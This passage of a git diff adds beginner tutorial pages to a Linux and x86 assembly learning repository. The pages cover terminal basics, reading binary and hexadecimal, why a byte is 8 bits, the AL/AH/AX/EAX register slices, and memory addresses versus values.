+ 2) It loads it into memory (the storehouse)
+ 3) The worker (the processor) runs that program's list of orders → the output comes to the screen
+ 4) The program ends, control returns to you → a new prompt
+```
+
+> 🔑 Here those two words become concrete:
+> - **Program** = the list of orders sitting on the disk (the recipe). E.g.: the `ls` program.
+> - **Process** = that program loaded into memory and **currently running** (the recipe cooking in the kitchen).
+>
+> So `ls` is a program on the disk; when you run it a short-lived process is born, does its job, dies, and gives you back the prompt. Every command is a small process being born and dying.
+
+Later we'll write and run **our own** program with `nasm`. That will be exactly like this: the file you write is a program on the disk, and when you run it, a process. The terminal is where you kick off this cycle.
+
+---
+
+## Did You Get an Error? Good.
+
+Sooner or later you'll type a command wrong. For instance, instead of `echo`, by mistake:
+
+```
+eco Hello
+```
+```
+eco: command not found
+```
+
+No panic — this isn't the terminal getting mad at you; it's just saying **"I don't recognize a program called eco"**. In other words, you typed a letter wrong. Fix it, try again. That's exactly the usual programming cycle: type → get an error → read → fix.
+
+See error messages as a **clue, not an enemy**. Most of the time they tell you exactly what's wrong:
+
+- `command not found` → you typed the command name wrong, or that program isn't installed.
+- `No such file or directory` → you gave a file/folder name that doesn't exist (again, most of the time a typo).
+- `Permission denied` → you don't have permission to do that job (we'll touch on this later).
+
+> 💡 All three of the most common errors actually turn out to be "typos." That's why **completion with Tab** (which we saw above) is both a speed boost and a shield against errors.
+
+> 💡 **You might be wondering:** *"If I type something wrong, could I accidentally delete my precious Linux or my files?"* The commands you know (`echo`, `ls`, `pwd`, `cd`, `mkdir`, `cat`) **delete** nothing — they only look, move around, and create. The real sharp knife that deletes files is `rm`, but we haven't even taught it yet; when it comes, we'll point at it loudly. Typing a command wrong is harmless too: the result is at most `command not found`, meaning nothing happens. (System files also require `sudo` + a password, so you can't stumble into them by accident.)
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Terminal = the window where you give the computer orders by TYPING, not with the mouse.
+☐ Rhythm: type the command → Enter → read the output → new prompt.
+☐ In the terminal you're always inside a folder:
+ - pwd → "where am I?" (which folder)
+ - ls → "what's here?" (file/folder list)
+☐ Navigating and creating:
+ - mkdir → create a folder
+ - cd → go into a folder | cd .. → one folder up
+☐ File:
+ - echo "..." > file → write output not to the screen but to a file (WIPES its contents; use >> to append)
+ - cat file → show the file's contents
+☐ echo/ls/cat are PROGRAMS; when you run them they become short-lived PROCESSES.
+☐ Error = not an enemy, a clue. Most errors are typos. Complete with Tab.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — The "worker" that runs the program and the program/process distinction
+- [05_kurulum_ve_ilk_program.md](./05_kurulum_ve_ilk_program.md) — Installing the assembly tools in the terminal and running the first program
+- [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md) — Counting the way the machine counts
+
+---
+
+**Previous topic:** [01.5_sayi_ve_anlam.md](./01.5_sayi_ve_anlam.md)
+**Next topic:** [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/03_sayilar_ikilik_onaltilik.md b/docs/eng/konu_anlatimlari/x86_assembly/03_sayilar_ikilik_onaltilik.md
new file mode 100644
index 0000000..9ae1b94
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/03_sayilar_ikilik_onaltilik.md
@@ -0,0 +1,275 @@
+# 🔢 x86 Assembly — Numbers: The Way the Machine Counts
+
+> The machine doesn't write numbers the way you do. Inside there is only **on** and **off** —
+> that is, only two digits: 1 and 0. This gives rise to long, tiring-to-read numbers; so people write
+> them with a short notation called **hexadecimal**. The only goal of this lesson is for you to be able to
+> *read* the machine's numbers. Not to do arithmetic — to read. So that when `0xff` shows up in GDB you don't
+> say "what on earth is this?"
+
+> **There is no code in this lesson, and no math homework at all.** We'll learn binary and hexadecimal only
+> enough to *recognize* them. No four operations by hand, no memorization. Promise: this is not the thing you feared.
+
+---
+
+## 📋 Table of Contents
+
+- [Don't Be Afraid: This Is Not Math, It's Literacy](#dont-be-afraid-this-is-not-math-its-literacy)
+- [Why Binary? Because Inside There's Only On/Off](#why-binary-because-inside-theres-only-onoff)
+- [You Already Know the Decimal System](#you-already-know-the-decimal-system)
+- [Binary: Same Idea, Just Two Digits](#binary-same-idea-just-two-digits)
+- [Why Is a Byte 0–255? (The Answer from 01)](#why-is-a-byte-0255-the-answer-from-01)
+- [Hexadecimal: A Shorthand for Humans](#hexadecimal-a-shorthand-for-humans)
+- ["Reading" Hex (Not Calculating It)](#reading-hex-not-calculating-it)
+- [Where Will I See This?](#where-will-i-see-this)
+- [Appendix: Why Is a Byte 8 Bits? (History and Reasons)](#appendix-why-is-a-byte-8-bits-history-and-reasons)
+
+---
+
+## Don't Be Afraid: This Is Not Math, It's Literacy
+
+Most people, when they hear the phrase "binary number system," remember the nightmare math from school. There's nothing like that here.
+
+Imagine you're learning a foreign alphabet. Your goal isn't to write poetry in that language; it's just to be able to **read** the signs. That's our concern too: the machine writes numbers in its own alphabet (1s and 0s, or their shorthand, hex), and we're going to learn to read those signs. You don't need to do any addition or subtraction by hand — the computer already does that.
+
+> 🔑 The single goal of this lesson: when you see something like `1011` or `0xff`, to be able to say "this is a number, roughly this big." You don't need to be a fluent translator; being *literate* is enough.
+
+---
+
+## Why Binary? Because Inside There's Only On/Off
+
+In the previous lesson we thought of the computer as "numbered boxes + a worker." So how does the number inside those boxes *physically* sit there?
+
+The inside of a computer is nothing but billions of tiny **switches**. Each switch is either **on** or **off** — like a light switch, no in-between. These are all the "digits" the machine has to work with:
+
+```
+ on → 1
+ off → 0
+```
+
+Only two symbols. That's why the machine has to write every number with these two digits — this is called **binary**. Everything you see (numbers, letters, images, music) ultimately comes down to these sequences of on/off switches.
+
+A single switch (a single on/off) is called a **bit**. A bit is the smallest piece of information in a computer: either 0 or 1.
+
+> 💡 "Why 2 digits instead of 10?" Because there are two states a switch can reliably tell apart: present/absent, on/off. The machine can't reliably hold something like "exactly 63% on." Two states are solid and clear — and that's why the machine counts in binary.
+
+---
+
+## You Already Know the Decimal System
+
+You've actually used the idea of "place value" your whole life, you just never named it. Look at this number: **347**
+
+```
+ 3 4 7
+ ↓ ↓ ↓
+ 3×100 4×10 7×1 → 300 + 40 + 7 = 347
+```
+
+So every digit has a **value**: rightmost the ones, then tens, then hundreds... These values go 1, 10, 100, 1000 — that is, **powers of 10.** Why 10? Because we have **10 digits** (0–9).
+
+Here's the whole secret: **binary is exactly the same system, only because it has 2 digits instead of 10, the place values are powers of 2.** You're not learning anything new; you're doing what you already know with a different number of digits.
+
+---
+
+## Binary: Same Idea, Just Two Digits
+
+In decimal the places grew 1, 10, 100… In binary they grow 1, 2, 4, 8, 16… (doubling at each step):
+
+```
+ ... 128 64 32 16 8 4 2 1 ← place values (powers of 2)
+```
+
+To read a binary number, you add up the values of the places that are **1**. Example — `1011`:
+
+```
+ place value: 8 4 2 1
+ bit: 1 0 1 1
+ ↓ ↓ ↓ ↓
+ 8 + 0 + 2 + 1 = 11
+```
+
+So binary `1011` is the number **11** that we know. One more example — `110`:
+
+```
+ place value: 4 2 1
+ bit: 1 1 0 → 4 + 2 + 0 = 6
+```
+
+That's all. "Add up the values of the ones." You don't even need to grab paper and practice it; seeing the logic is enough.
+
+---
+
+## Why Is a Byte 0–255? (The Answer from 01)
+
+If you recall, in the first lesson I said "each box holds a number between 0–255, and we'll see later why it's 255." Here's the answer.
+
+The computer uses bits not one by one, but **in groups.** A group of 8 bits is called a **byte** — that is, 8 switches side by side. Those "boxes" of memory are each a byte.
+
+With 8 switches, what's the smallest and largest number?
+
+```
+ Smallest: 0 0 0 0 0 0 0 0 → all off = 0
+
+ Largest: 1 1 1 1 1 1 1 1 → all on
+ values: 128 64 32 16 8 4 2 1
+ = 128+64+32+16+8+4+2+1 = 255
+```
+
+> 🔑 So 8 bits can hold a total of **256** different values, **from 0 to 255.** That's the answer to "why 255?": the largest number reached when all 8 switches of a byte are on is 255. For larger numbers the machine uses several bytes side by side (we'll see this later).
+
+> 💡 **Something you might be wondering:** *"If a box holds at most 255, then where does my score of 5000 in a game, or my money in the bank, sit?"* It doesn't fit in one box — the machine spreads the big number across **several consecutive boxes** (we touched on this above). How these boxes are counted as a single big number, and the question "how does the worker know they're a single number and not 4 separate small numbers?", we explain exactly in [04_bellek_ve_registerlar](./04_bellek_ve_registerlar.md).
+
+> 💡 **But why exactly 8 switches — why not 7 or 9?** And why is the maximum therefore 255? This isn't actually a math rule, it's a historical **choice.** We explain both the reason and the story in detail in the [Appendix: Why Is a Byte 8 Bits?](#appendix-why-is-a-byte-8-bits-history-and-reasons) section at the very end of the lesson. For now it's enough to say "groups of 8 are a convention, and we explain why at the end."
+
+---
+
+## Hexadecimal: A Shorthand for Humans
+
+Binary is great for the machine but tiring for humans: writing and reading `11111111` strains the eyes and is easy to get wrong. The solution is **hexadecimal** (hexadecimal, or *hex* for short).
+
+Hex has one neat trick: **4 bits correspond exactly to a single hex digit.** (Because 4 bits write 16 different values, and hex also has 16 digits.) Since 16 digits don't end at 0–9, the ones from 10 to 15 are written with letters:
+
+```
+ binary hex binary hex
+ 0000 = 0 1000 = 8
+ 0001 = 1 1001 = 9
+ 0010 = 2 1010 = A (10)
+ 0011 = 3 1011 = B (11)
+ 0100 = 4 1100 = C (12)
+ 0101 = 5 1101 = D (13)
+ 0110 = 6 1110 = E (14)
+ 0111 = 7 1111 = F (15)
+```
+
+A byte is 8 bits; 8 bits = two groups of 4 = **exactly 2 hex digits.** Here's the short form of that tiring byte:
+
+```
+ binary: 1111 1111
+ hex: F F → written: 0xFF
+ decimal: 255
+```
+
+The leading `0x` is placed to say "attention, this is a hex number" — otherwise we'd confuse whether `FF` is a number or letters. When you see `0xFF`, you read it as "a single byte, all on, i.e. 255."
+
+> 💡 That's the entire reason hex exists: a faithful, one-to-one but **short** way of writing binary. That's why at the low level (assembly, GDB, memory dumps) numbers are almost always written in hex. It doesn't hide the binary — it just tidies it up.
+
+---
+
+## "Reading" Hex (Not Calculating It)
+
+Now the most reassuring part: **you don't have to convert hex to decimal in your head.** The trick of it is recognition:
+
+- If you see `0x` in front → "this is a raw machine number / address."
+- `0xFF` → a byte, all its bits on (255).
+- Something long like `0x080484b6` → not scary; it's just a **box number** (an address), written in short form. The numbers of the boxes in the warehouse from the previous lesson look exactly like this.
+
+When you need the exact number, **let the computer do the conversion.** For example, in the terminal (recall from lesson 02) you can type `python3` and try these:
+
+```
+>>> 0xff
+255
+>>> 0b1011
+11
+```
+
+So when you type `0x...` it tells you the decimal equivalent, and the same for `0b...` (binary). No need to fuss by hand; the goal is to *recognize* these notations.
+
+> 🔑 The literacy bar is this much: (1) `0x` = hex, `0b` = binary; (2) one byte = 2 hex digits; (3) when you see it, not panicking and being able to say "this is a number/address." Over time, familiarity by sight comes on its own.
+
+---
+
+## Where Will I See This?
+
+If this lesson felt abstract, you'll see its payoff concretely very soon. Later, when tracing programs with GDB (lesson 07), the screen will be full of things like this:
+
+```
+ eax = 0x5
+ ebx = 0xffffd6a4
+ address 0x08048000 ...
+```
+
+From today on, these are no longer meaningless charms: `eax = 0x5` → "there's a 5 in the EAX box"; `0xffffd6a4` → "an address, i.e. a box number." You've learned to read the machine language of numbers; the rest will settle in with practice.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Goal: to READ machine numbers (not calculate). Not math homework, literacy.
+☐ Inside there's only on(1)/off(0) → the machine counts in BINARY. One switch = 1 bit.
+☐ Binary is the same as decimal; place values are powers of 2, not 10: 1,2,4,8,16,32,64,128...
+ - Reading = add up the values of the places that are 1. (1011 = 8+2+1 = 11)
+☐ 1 byte = 8 bits → largest 11111111 = 255. So a byte is 0–255 (256 values). [the answer from 01]
+☐ "8" is not a law of nature, but a historical choice (a letter fits + 2 BCD digits + power of 2). Detail: the Appendix at the end.
+☐ HEX = the short form of binary. 4 bits = 1 hex digit; 1 byte = 2 hex digits.
+ - Digits: 0–9, then A,B,C,D,E,F (10–15). 0x goes in front. E.g.: 11111111 = 0xFF = 255.
+☐ Don't do the conversion by hand: in python3, 0xff → 255, 0b1011 → 11. You just RECOGNIZE.
+☐ The bar: 0x=hex, 0b=binary; byte=2 hex digits; when you see it, say "this is a number/address."
+```
+
+---
+
+## Appendix: Why Is a Byte 8 Bits? (History and Reasons)
+
+> This section is for the curious. Skipping it won't stop you from understanding the rest of the lesson — but if you asked above "why is a byte exactly 8?", the answer (and its story) is here. And the story is actually a good one.
+
+### First, the most important fact: 8 is not a rule, it's a choice
+
+There is **no** law in math or physics that says "a byte must be 8 bits." You can group bits in any number you like; the question is only "how many to a group?" Indeed, the first computers were complete chaos on this front — every machine chose its own size. "8" is a convention that later won out for specific reasons.
+
+### Where does the word "byte" come from?
+
+The term was coined in 1956 by IBM engineer **Werner Buchholz**, while IBM's first transistorized supercomputer "Stretch" (IBM 7030) was being designed. Buchholz deliberately spelled the English word *bite* (a mouthful) as *byte* so it wouldn't be confused with "bit" — so a byte roughly meant "a mouthful of bits the machine bites off and processes at once."
+
+The interesting thing is: on Stretch, the size of a byte was **not fixed.** The machine could address individual bits, and how many bits a byte would be was specified inside the instruction (variable length). So at the start "byte" didn't yet mean "8 bits"; it just meant "a group of bits."
+
+### Before standardization: the chaos of bit sizes
+
+Before 8 was standardized, machines tried every route:
+
+```
+ 4 bit → BCD: to write a single decimal digit (0–9)
+ 5 bit → Baudot: old telex/telegraph code
+ 6 bit → BCDIC, military Fieldata: letter+digit+symbol (weak upper/lower case distinction)
+ ... → word sizes also varied widely, like 12, 36, 60 bit
+```
+
+36-bit machines (for example the PDP-10) were common into the 1970s. In that era numbers were often written in **octal**, because word sizes were multiples of 3. So the world of "everything in hex" didn't exist yet.
+
+### The standardization of 8: IBM System/360 (1964)
+
+The turning point was the **IBM System/360** (announced in 1964). This machine **fixed the byte at 8 bits**, made memory addressable byte by byte, and introduced an 8-bit character encoding called **EBCDIC**. Because System/360 was a colossal commercial success, the 8-bit byte became the de facto standard for the whole world. Then Intel's 8008/8080 microprocessors carried this 8-bit tradition into the personal-computer era; everything you have today is built on top of it.
+
+Fred Brooks, one of the chief architects of System/360, later said "the most important technical decision of my career was choosing the 8-bit byte for the 360" — his wager was that **text/character processing** would become more important than pure decimal arithmetic. It turned out right.
+
+### So why exactly 8? (three reasons came together)
+
+1. **So that a letter fits exactly (character encoding).** 6 bits give only 64 possibilities — not enough for uppercase + lowercase + digits + punctuation. 8 bits give 256 possibilities: room for a whole character set, and even accented/extra characters on top. (7-bit ASCII was enough for English; going to 8 left room both for extra characters and for error checking/parity.) In short, "1 byte = 1 character" sat comfortably.
+
+2. **Practical for decimal (BCD) arithmetic.** The business/finance machines of that era worked with decimal numbers, and a decimal digit was written in 4 bits (BCD). Two 4-bit digits fit exactly into one 8-bit byte. So 8 sat cleanly into the decimal world too.
+
+3. **A power of 2 / hardware-friendly.** 8 = 2³. Binary addressing, memory layout, and data buses work cleanly with powers of 2. Moreover, 8 divides into two 4-bit groups — that is, into the **two hex digits** you just learned. That's exactly why a byte is exactly 2 hex digits. Had it been 9 bits, it would neither sit cleanly into hex nor have this alignment.
+
+### There's also "octet"
+
+In some places (especially in networking/communication standards, in RFCs) you'll see the word **octet** instead of byte. The reason is precisely this history: because "byte" hasn't always been 8 bits in the past, those who want to say "definitely 8 bits" use the unambiguous term "octet." So when you see octet, read it as "exactly 8 bits."
+
+### And the essence of the "why 255?" question
+
+Now it's clear why 255 is 255: because a byte was fixed at 8 bits, 8 bits hold `2⁸ = 256` different values, i.e. **0–255.** Had the convention been 7 bits the largest number would be 127, had it been 9 bits it would be 511. So 255 is not a magic number; it's the **direct arithmetic result of the 8-bit tradition** chosen for the reasons above. First (for those reasons) came 8, and 255 fell out of it.
+
+> 🔑 Summary: "byte = 8 bits" is not a law of nature, but a historical agreement. 8 was settled on so that a letter fits (256 characters), two decimal digits are packed (2×4 bits), and it comes out "round" to the machine (a power of 2, two hex digits); IBM System/360 made it the standard. And 255 is the natural consequence of that 8.
+
+---
+
+## 🔗 Related Topics
+
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — Boxes, the byte, and the "why 0–255" question
+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — Where addresses (box numbers) are written in hex
+- [07_gdb_tek_adim.md](./07_gdb_tek_adim.md) — The lesson where you'll see registers and addresses live, in hex
+
+---
+
+**Previous topic:** [02_terminal_ile_tanisma.md](./02_terminal_ile_tanisma.md)
+**Next topic:** [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/04.5_registerin_ici.md b/docs/eng/konu_anlatimlari/x86_assembly/04.5_registerin_ici.md
new file mode 100644
index 0000000..e85ef20
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/04.5_registerin_ici.md
@@ -0,0 +1,155 @@
+# 🔍 x86 Assembly — Inside a Register: AL, AH and Size Games
+
+> In 04 you met the registers: the boxes in the worker's pockets, each holding 4 bytes.
+> In this short intermezzo lesson we step INSIDE one of those pockets once more. It turns out you don't
+> always have to use a register as a whole — whenever you like, you can touch just a part of it, say a single
+> byte of it. A small detail, but it really cements how registers actually do their work.
+
+> **No code here either.** We're just looking at the inner structure of a register. If you're in a hurry you can
+> skim this lesson and jump to 05; but the "**same bits, different window**" idea here will clear your head a lot
+> later on, once you start doing work with bytes. Short, I promise.
+
+---
+
+## 📋 Table of Contents
+
+- [Recall: One Register, 4 Bytes](#recall-one-register-4-bytes)
+- [AX: The Lower Half of the Register](#ax-the-lower-half-of-the-register)
+- [AL and AH: The Two Bytes of AX](#al-and-ah-the-two-bytes-of-ax)
+- [The Most Important Part: Same Bits, Different Window](#the-most-important-part-same-bits-different-window)
+- [Which Registers Have This?](#which-registers-have-this)
+- [What Is This Good For?](#what-is-this-good-for)
+
+---
+
+## Recall: One Register, 4 Bytes
+
+Recall from 04: a register, say `EAX`, holds 32 bits = 4 bytes. Most of the time you use EAX as a single whole, a 4-byte number.
+
+But you don't always need that much room. Sometimes all you have is a single byte's worth (0–255) of something — say a single letter. Spending a whole register on that feels wasteful. So x86 gives you a convenience: you can use **only a part** of the register. Let's see how.
+
+---
+
+## AX: The Lower Half of the Register
+
+We touched on this briefly in the Appendix at the end of 04: the **lower 16 bits** of EAX are called `AX`. (The historical reason was explained there: on old machines registers were 16-bit, and `AX` is a name left over from those days; the leading `E` stands for "Extended", i.e. the version widened to 32 bits.)
+
+16 bits = 2 bytes; so AX can hold a number from 0 to 65535. (From 03: 16 bits = 4 hex digits.)
+
+```
+ EAX (32 bit)
+ ┌─────────────────────┬─────────────────────┐
+ │ (high 16 bit) │ AX │
+ │ │ (low 16 bit) │
+ └─────────────────────┴─────────────────────┘
+```
+
+The upper 16 bits of EAX have no name of their own; you can't reach them directly, on their own. But you can reach the lower half by calling it `AX`.
+
+---
+
+## AL and AH: The Two Bytes of AX
+
+Let's take it one step further. AX itself was 2 bytes. Those two bytes have separate names too:
+
+- Lower (low) byte → `AL` (L = *low*)
+- Upper (high) byte → `AH` (H = *high*)
+
+Each is exactly 1 byte = 8 bits = 0–255 (again that range you know from 03). The whole picture looks like this:
+
+```
+ bit: 31 .............. 16 | 15 ....... 8 | 7 ....... 0
+ ┌─────────────────────┬──────────────┬─────────────┐
+EAX = │ (unnamed high 16) │ AH │ AL │
+ └─────────────────────┴──────────────┴─────────────┘
+ │←────────── AX ──────────→│
+```
+
+So let's line them up: `AL` = the very bottom byte, `AH` = the byte just above it, `AX` = these two together (the lower 16 bits), `EAX` = all of it (32 bits). Four different names — but all four are differently-sized slices of the **same register.**
+
+---
+
+## The Most Important Part: Same Bits, Different Window
+
+This is the one critical idea in this lesson, and it's the sentence you should keep in mind: **AL, AH, AX and EAX are NOT four separate boxes.** They're all views into the same single box, through windows of different sizes.
+
+The consequence: if you change `AL`, you've also changed the lowest byte of `EAX` — because they are **physically the same bits.** Not separate copies, the same place. With a concrete example:
+
+```
+ Suppose: EAX = 0x11223344
+
+ Then: AL = 0x44 (lowest byte)
+ AH = 0x33 (the byte just above it)
+ AX = 0x3344 (the low two bytes together)
+
+ Now if you write 0xFF to AL:
+
+ EAX = 0x112233FF
+ ▲▲
+ only the lowest byte changed; the rest stayed in place
+```
+
+Why is `AL = 0x44`? Recall from 03: the **rightmost** digit is the smallest value — so the lowest byte of a number is always the rightmost two hex digits. The rightmost of `0x11223344` is `44` → `AL`, and the `33` to its left → `AH`. (Don't start from the left and mistake `0x11` for `AL`; the low byte is always at the right end.)
+
+As you can see, touching `AL` affected `EAX` too — because `AL` is nothing more than an alias for one corner of `EAX`. Remember the "box" metaphor from 04: this is still **a single pocket box;** you're just choosing whether you're looking at (and writing to) the whole of it or one corner of it.
+
+> 🔑 In one sentence: `AL`/`AH`/`AX`/`EAX` are not separate registers, they are windows onto the same register, from small to large. Writing to a small window also changes that part of the large window.
+
+> ⚠️ One of the most frequent sources of error later on is exactly here: being surprised, "I wrote to AL, why did EAX change?" You already know the answer — because the two are the same bits. Keep this sentence in your pocket.
+
+> 💡 **Something that may nag at you:** *"If there's an important big number sitting in EAX and I write to the AL corner, won't that number get corrupted and turn into garbage? Shouldn't I check whether 'EAX is empty' before using it?"* You don't ask "is it empty" — a register always holds something, and you **know what it holds** (because you put it there). There are three cases: if its contents are no longer needed, writing over them is perfectly normal anyway (registers are constantly reused). If you specifically want to change just that byte, AL is exactly the tool. But if its contents are **still needed**, either you use a different register (`EBX`/`ECX`/`EDX`) for your byte-sized work, or you first **save** EAX somewhere and then restore it later (we'll see this "save–restore" in lesson 14, on the stack). So corruption happens only if you overwrite a value that is *still needed*; the fix is not "ask whether it's empty" but **"know what it holds and don't overwrite what you need."** The worker will happily write to AL without checking what's in EAX — protecting your data is your job.
+
+---
+
+## Which Registers Have This?
+
+This full pattern — 32, 16, and two separately-accessible 8-bit bytes — is found in the main four registers:
+
+```
+ EAX → AX → AH / AL
+ EBX → BX → BH / BL
+ ECX → CX → CH / CL
+ EDX → DX → DH / DL
+```
+
+In the others (`ESI`, `EDI`, `ESP`, `EBP`) things are a bit plainer: they too have a 16-bit form (`SI`, `DI`, `SP`, `BP`), but in our 32-bit world there is **no** "high byte / low byte" split like `AH`/`AL`. So on those you have "use half of it," but not "pick that single byte of it."
+
+For now keep the main four (`EAX`–`EDX`) and their `AH`/`AL` parts in mind; those are the ones you'll meet most often.
+
+---
+
+## What Is This Good For?
+
+The short answer: most of the time you don't need a full 4-byte number. A single letter (character) is exactly 1 byte — to hold it, using just `AL` rather than the whole `EAX` is both enough and clean. When you work byte by byte (text, characters, small values one at a time) `AL`/`AH` will keep coming up.
+
+> 💡 Look-ahead note: You'll see this in action, with real instructions, in [08_mov_ve_bellek](./08_mov_ve_bellek.md) and while dealing with characters. At that moment you won't ask "why `AL`?" — because by then you'll know: for a single-byte job, the register's exactly-that-byte window is enough.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ You don't always have to use a register as a whole (4 bytes); you can access a part of it too.
+☐ EAX (32 bit) → AX (lower 16 bit) → AH (high byte) + AL (low byte). From 03: byte = 8 bit = 0..255.
+☐ MOST IMPORTANT: AL/AH/AX/EAX are NOT separate boxes — they are different-sized windows onto the same box.
+ - Writing to AL also changes EAX's low byte. (The same physical bits.)
+ - E.g.: with EAX=0x11223344, AL=0x44; writing 0xFF to AL makes EAX=0x112233FF.
+☐ This pattern (32 / 16 / 8+8) exists in the main four registers: EAX/EBX/ECX/EDX → ..X → ..H / ..L.
+☐ ESI/EDI/ESP/EBP: they have a 16-bit form (SI/DI/SP/BP) but (in 32-bit) NO byte split like AH/AL.
+☐ What it's good for: for a single-byte job (e.g. a character) AL is enough instead of a whole register. Detail: 08.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — What registers are; the ground this lesson sits on
+- [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md) — The basis of AL/AH being "1 byte = 0..255" and of hex
+- [08_mov_ve_bellek.md](./08_mov_ve_bellek.md) — The lesson where you'll see AL/AH in action, with real instructions
+
+---
+
+**Previous topic:** [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md)
+**Next topic:** [05_kurulum_ve_ilk_program.md](./05_kurulum_ve_ilk_program.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/04_bellek_ve_registerlar.md b/docs/eng/konu_anlatimlari/x86_assembly/04_bellek_ve_registerlar.md
new file mode 100644
index 0000000..001761c
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/04_bellek_ve_registerlar.md
@@ -0,0 +1,315 @@
+# 🗄️ x86 Assembly — Memory and Registers
+
+> In 01 we drew a picture from a distance: a huge warehouse, a few pockets on the worker, and a very fast but very dumb worker.
+> Now we're zooming in on that picture. Exactly how big are the boxes in the warehouse, what fits inside them; how are the worker's
+> pockets different from the ones in the warehouse; and how does the worker shuttle back and forth between the two all day long?
+> This is the lesson that closes Unit 0 — by the time you're done, the picture in your head will be clear enough to put your first real code on top of.
+
+> **There's still not a single line of code in this lesson.** We're only sharpening the picture from 01: taking a close look at memory
+> and registers and establishing the relationship between them. We'll see the instructions and the real syntax in the next unit, when we
+> write and run our first program. No rush; if this ground is solid, the rest will settle into place on its own.
+
+---
+
+## 📋 Table of Contents
+
+- [A Close Look at Memory](#a-close-look-at-memory)
+- [Address or Value — Once More](#address-or-value--once-more)
+- [A Close Look at Registers](#a-close-look-at-registers)
+- [The Worker's Real Dance: Between Warehouse and Pocket](#the-workers-real-dance-between-warehouse-and-pocket)
+- [The Program Lives in These Boxes Too](#the-program-lives-in-these-boxes-too)
+- [The Worker's Finger Is a Register Too](#the-workers-finger-is-a-register-too)
+
+---
+
+## A Close Look at Memory
+
+In 01 we got to know memory as a "warehouse of numbered boxes": each box has a number, and inside it sits a number. Back then we said, "a box holds a number between 0 and 255, and we'll see why 255 later." After 03, we can finally fill in that blank.
+
+Each box is exactly one **byte** — that is, 8 switches side by side (8 bits). The smallest number a byte can hold is 0 (all off), the largest is 255 (all on). Here are those rows upon rows of memory boxes, each one a byte:
+
+```
+ Address: 0 1 2 3 4 5 ...
+ ┌────┐ ┌────┐ ┌────┐ ┌────┐ ┌────┐ ┌────┐
+ Content: │ 72 │ │ 13 │ │ 0 │ │255 │ │ 42 │ │ 7 │ ...
+ └────┘ └────┘ └────┘ └────┘ └────┘ └────┘
+ each box = 1 byte = 8 switches = a number between 0..255
+```
+
+The boxes' numbers — that is, their **addresses** — go 0, 1, 2, 3… **consecutively**, without leaving any gaps. And as you learned in 03, at the low level these addresses are usually written in hex: something scary-looking like `0x080484b6` is really just a **box number.** Long, but a single number.
+
+Now that classic question: what if we want to hold a number bigger than 255? We put that on hold in 03 too — we said "the machine uses several bytes side by side." Here's how it happens:
+
+```
+ A large number like "1,000,000" does NOT FIT in a single box (a box holds at most 255).
+ The machine spreads it across several CONSECUTIVE boxes:
+
+ Address: 100 101 102 103
+ ┌────┐ ┌────┐ ┌────┐ ┌────┐
+ │ .. │ │ .. │ │ .. │ │ .. │ ← 4 boxes TOGETHER = a single big number
+ └────┘ └────┘ └────┘ └────┘
+```
+
+So a large value means "several boxes side by side, read together." A single box is small; but boxes are cheap and ordered, so you can combine as many as you want.
+
+> 🔑 Memory in two sentences: (1) each box is exactly 1 byte, holding 0–255; (2) a larger number is several consecutive boxes held together. The box's **number = address** (usually written in hex), the box's **inside = value**.
+
+> 💡 Forward-note: We said "several boxes together," but the *order* in which these bytes get lined up in memory follows its own rule (one that seems odd the first time you see it). We'll see it when we actually look at memory with GDB ([07_gdb_tek_adim](./07_gdb_tek_adim.md), [08_mov_ve_bellek](./08_mov_ve_bellek.md)). For now it's enough to say "big number = several boxes" — the order isn't a worry.
+
+> 💡 **You might be wondering:** *"That dumb worker — how does it know whether 4 boxes side by side are a single big number or 4 separate small numbers? What if I put 4 independent small values there?"* It doesn't know — there's no label on the boxes saying "we belong together." The grouping is determined entirely by the **instruction**: if it says "read 1 byte from box 100," it's a single small number; if it says "read 4 bytes," all four together are one big number. So it's **your** responsibility to read the data the way you wrote it; if you read it at the wrong size, a nonsense number comes out and the machine won't stop you. (This is exactly the "the instruction gives the meaning" rule from [01.5_sayi_ve_anlam](./01.5_sayi_ve_anlam.md).)
+
+---
+
+## Address or Value — Once More
+
+In 01 we called this the distinction that "trips people up most often down the road"; it's so important that let's reinforce it once more, with a fresh example. Let's look at box number 5 in memory and say it holds 12:
+
+```
+ box number 5
+ ┌──────┐
+Address 5→│ 12 │← Value 12
+ └──────┘
+ "the box's PLACE" = 5 "the box's INSIDE" = 12 (two separate numbers)
+```
+
+Address 5, value 12. Two numbers that look nothing alike, two separate roles. Think about this for a second: if someone tells the worker "bring box number 12," does the worker bring **box 5**, which has 12 inside it? No — it goes to a completely different box, **box 12**. Because "12" here was said as an address, not as a value.
+
+Now a strange but powerful idea: the number **inside** a box can perfectly well be another box's **number.** If box 5 holds 12, you can also read it as "box 5 is *pointing me* to 12" — as if one box points at another box.
+
+> 🔑 The same number can play the role of a **value** in one place and an **address** in another. Which role you read it in is determined by **the command you give the worker** — the box itself doesn't know, doesn't care. The "literally obedient worker" idea from 01 comes in handy right here: you supply the meaning, it just does what it's told.
+
